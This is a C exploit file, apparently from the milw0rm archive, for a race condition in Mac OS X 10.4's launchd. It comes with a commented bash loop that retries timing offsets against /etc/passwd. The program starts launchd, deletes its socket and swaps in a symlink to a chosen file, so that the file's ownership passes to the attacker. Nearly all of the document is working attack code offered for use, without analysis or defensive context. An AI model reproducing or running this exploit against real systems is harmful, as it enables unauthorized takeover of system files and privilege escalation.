89 lines
No EOL
2 KiB
C
89 lines
No EOL
2 KiB
C
/*
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* Mac OS X 10.4 launchd race condition exploit
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*
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* intropy (intropy <at> caughq.org)
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*/
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/* .sh script to help with the offsets /str0ke
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#!/bin/bash
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X=1000
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Y=3000
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I=1
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while ((1))
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do
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./CAU-launchd /etc/passwd $X
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if [ $I -lt 30 ]
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then
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((X=$X+$Y))
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((I=$I+1))
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else
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X=1000
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I=1
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fi
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done
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#define DEBUG 0
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#define SLEEP 6000
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main(int argc, char *argv[])
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{
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pid_t pid;
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int count, sleep = SLEEP;
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char name[100];
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char target[100];
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struct stat *stats = (struct stat *)malloc(sizeof(struct stat));
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if ( argc < 2) {
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fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
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exit(-1);
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} else if ( argc > 2 ) {
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sleep = atoi(argv[2]);
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strncpy(target, argv[1], sizeof(target)-1);
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} else {
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strncpy(target, argv[1], sizeof(target)-1);
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}
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if ( DEBUG ) printf("Going for %s\n", target);
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if ( DEBUG ) printf("Using usleep %d\n", sleep);
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pid = fork();
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if ( pid == 0 ) {
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if ( DEBUG ) {
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system("/sbin/launchd -v /bin/ls -R /var/launchd/ 2>/dev/null");
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} else {
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system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");
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}
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} else {
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snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);
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if ( DEBUG ) printf("Checking %s\n", name);
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usleep(sleep);
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if ( DEBUG ) printf("Removing sock...\n");
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if ( (unlink(name)) != 0 ) {
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if ( DEBUG ) perror("unlink");
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} else {
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if ( (symlink(target, name)) != 0 ) {
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if ( DEBUG ) perror("symlink");
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} else {
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if ( DEBUG ) printf("Created symlink %s -> %s...\n", name, target);
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}
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}
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stat(target, stats);
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if ( stats->st_uid == getuid() ) {
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printf("Looks like we got it\n");
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usleep(10000000);
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}
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}
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}
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// milw0rm.com [2005-06-14]
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